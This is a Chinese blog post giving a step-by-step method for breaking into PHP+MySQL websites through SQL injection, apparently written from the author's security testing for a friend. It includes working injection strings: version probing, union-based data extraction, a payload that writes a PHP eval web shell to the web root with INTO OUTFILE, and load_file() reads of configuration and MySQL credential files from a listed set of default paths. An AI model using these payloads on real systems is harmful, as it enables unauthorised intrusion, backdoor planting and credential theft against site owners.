php+mysql入侵常见思路

php+mysql注入方面的文章已经是很多了,我最近帮朋友架设一个php+mysql的站,考虑安全性于是又重新看了看那些网上注射文章,自己做了点测试,总结一下。发到blog上来是为了留个底,便于以后查阅。

mysql的限制还是很多,没有mssql那么强大的存储过程,也没有mssql那么方便的系统表(mysql自带mysql数据库是需要专门赋予访问权限或者root权限才可以访问的)。在我测试的这几天看来,从入侵的角度看mysql可以算是个access的高级版本而已(个人理解)。

首先由于php的安全设置(magic_quotes_gpc),高版本的php默认此选向是开启的,所以如果注入点是字符型的话,基本可以说是没法利用了。再加上mysql使用root进行连接的情况并不多,所以php+mysql入侵方面很大程度上依赖于攻击者的经验和运气。下面我总结一下不同情况下的思路:

(一)、magic_quotes_gpc=off的情况
1)如果错误提示开启的话,通过输入非法字符(比如加单引号等等)很有可能暴出物理路径来(当然暴物理路径不一定只有这种办法,可以猜一些include里的数据库连接文件,或者直接访问一下配置文件都有可能暴出web物理路径来),有了web物理路径,后面的入侵会有很大的帮助(当然,这还要取决于你下一个条件是否满足)。

2) 找到注入点后,通过 and ord(mid(version(),1,1))>51/* 判断版本号,如果不大于51的话就无法使用union联合查询,如果无法使用union联合查询,那么唯一可以做的就是猜后台,猜管理员表,猜字段,然后穷举内容了(跟asp+access注入的方法没什么大区别了)。

3)如果可以union联合查询的话,可以使用 order by 字段数/*来猜解字段(当然也可以直接union select 1,2,3,......来猜),如果能猜出字段数,而且页面也有部分数字显示的话就可以直接把要看的数值显示到页面上了。关于联合查询,我看了一下mysql的帮助,union前面的查询结果为真的话,前后两次的查询的结果都会返回(但在页面上只有union前面查询的结果会在页面上显示),而当union前面的查询为假的时候,后面的查询结果才会显示到页面上来,所以在实际利用的时候,要迫使前面的查询为假才行(可以加个 and 1=2等)。

4)如果可以联合查询,但是没有任何字段值显示到页面上的话,就只能采用盲注入的方式一个一个把值暴出来(国外的mysqlbf.pl和mysqlget.exe等等都可以轻松地做到)。

5)如果前面得到了物理路径,配合union联合查询,我们可以直接导出webshell(但不要忘了大前提:magic_quotes_gpc=off),假设物理路径为:/home/www/htdocs/   ,注入点为id=133,字段数为5,第3个字段的值会显示在页面上(其实显示不显示都无所谓,都可以导出),那么可以构造如下语句直接导出一句话后门:

id=133 and 1=2 union select 1,2,<?php eval($_POST['#']);?>,4,5 into outfile '/home/www/htdocs/shell.php'/*

一句话后门可以使用16进制编码或者ascii编码方式,但是outfile 那个就不能进行编码了。这也是为什么这种方法只能在magic_quotes_gpc=off的时候才可以使用的原因。

6)如果得不到物理路径,那么通过union联合查询,读出current_user()的值(无法直接显示在网页上的话,可以盲注入)。

7)如果读出的current_user()的值(即当前连接使用的用户)非root权限的话,且无web物理路径,那么剩下的方式就跟asp+access的方式一样了,猜后台,猜管理员表,猜字段,暴值。

8)如果读出的current_user()的值(即当前连接使用的用户)是root权限的话,且有web路径,那么可以做的事就很多了。除了像上面5)中所说直接导出webshell以外,还可以利用load_file()去读取一些敏感文件或者页面原代码(比如可以先读取index.php等首页文件的源代码,接着依次读取代码中include或者require包含的文件,总会找到一些数据库连接的信息以及管理员表的名字,字段等敏感信息的)。得到管理员密码后,可以通过后台登陆,然后再想办法传webshell。

9)如果有root权限,且无web路径的话,就无法直接备份webshell了,那么剩下的就和上面8)讲的那样,load_file()页面源代码,找寻管理员密码等敏感信息然后后台登陆。或者尝试读取一些默认的配置文件,比如apache的httpd.conf,和php的php.ini文件等,里面会有web路径等敏感信息。默认的常用配置文件路径如下:

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
C:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
/etc/sysconfig/iptables //从中得到防火墙规则策略

当然还有一些其它的,我就不一一列举了,自己在实践的时候多总结就是了。如果比较幸运,能够读到默认路径下的的配置文件,获取到web物理路径的话,那么就可以像上面所说的那样导出webshell了。

另外还有一个特例,就是如果系统是freebsd的话,可以使用列片攻击直接读取目录结构,从而一点一点把web物理路径找出来。至于怎么判断系统是否是freebsd可以通过读取/etc/passwd可以看到有freebsd的字样等以及通过读80端口的banner获取,有的时候会直接显示出是freebsd的系统来。列片攻击在superhei写那篇《系统特性与web安全》中提到了,这里我直接摘抄一下:

freebsd系统下/的利用 (ps:也有可能存在于其他系统)
特性:freebsd下因系统文件格式不同导致可以利用/进行目录列片攻击:如在freebsd下运行cat / 得到根目录下的所有文件夹及文件:

cat /

.
.. .snap(
dev\
usr
var stand犅p
etc? cdromg? distsg?
bin? boot唜<
lib \ libexec
mnt ? proc唜?( rescue?? root唜?? sbin唜??
tmp

sys ? .cshrc?? .profile
? COPYRIGHTe?
compat?
home]D? entropy \t service ( d greenarmy玩

利用:mysql注射时可以配合load_file()进行目录列片攻击。如load_file(0x2F) [0x2F为/的hex值] ,load_file(0x2Froot0x2F)

通过列片攻击,不仅可以获取物理路径,理论上可以读取服务器上的任意文件内容(当然那些文件必须可读才行)。

 

(二)、magic_quotes_gpc=on的情况

这种情况下,只能是数字型注入,其它的跟(一)中的大部分思路都是一样,无非就是不能直接导出webshell了。

关于load_file()我补充一下,在magic_quotes_gpc=on的情况下,要对查看的文件路径进行编码,ascii或者hex都可以。另外,网上流传说load_file()只能是root权限才可以调用。其实这种说法并不十分准确,我查阅了一下mysql的帮助文档,上面说调用load_file()的帐户必须具有FILE权限。默认创建的帐户都不具备这个权限,而root没有这个限制,所以有人说只有root才可以调用它。但是也有很多例外的情况,比如在一些虚拟机主机上,有些用户创建表后向表里插入数据会用到load data来从文本文件等直接将数据导入到表中(比用insert等方便得多了),所以往往管理员会给这些用户赋予file权限,那么就可以load_file()了。这种情况不是没有的,我都碰到过几次。所以为了保险起见,不管是不是root,你都load_file()一下,反正也不费多大点事,但一旦成功了,那可赚大了!

另外有的时候在使用union查询的时候,明明没构造错,但是却提示"illegal mix of collations",这是由于union前后的字符集不同引起的错误,解决的办法很简单用其它编码方式比如hex就可以解决,例如:
id=133 and 1=2 union select 1,2,hex(current_user()),4,5/*
然后再找一个16进制转换工具把得到的hex值还原回去就知道是什么了。具体内容请参考superhei的另一篇文章《MySQL注射时ErrorNo.1267的突破》。

这是我最近帮朋友做安全测试的时候总结一些,有可能有很多的不足,慢慢积累吧。另外其实很难说php+mysql就比asp+vaccess难利用,就像给你一个萝卜,有的人就只知道它可以吃,但有的人就可以把它雕刻成美丽的萝卜花,比喻有可能不太恰当,但是意思很明确——想得有多宽,路就有多宽。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值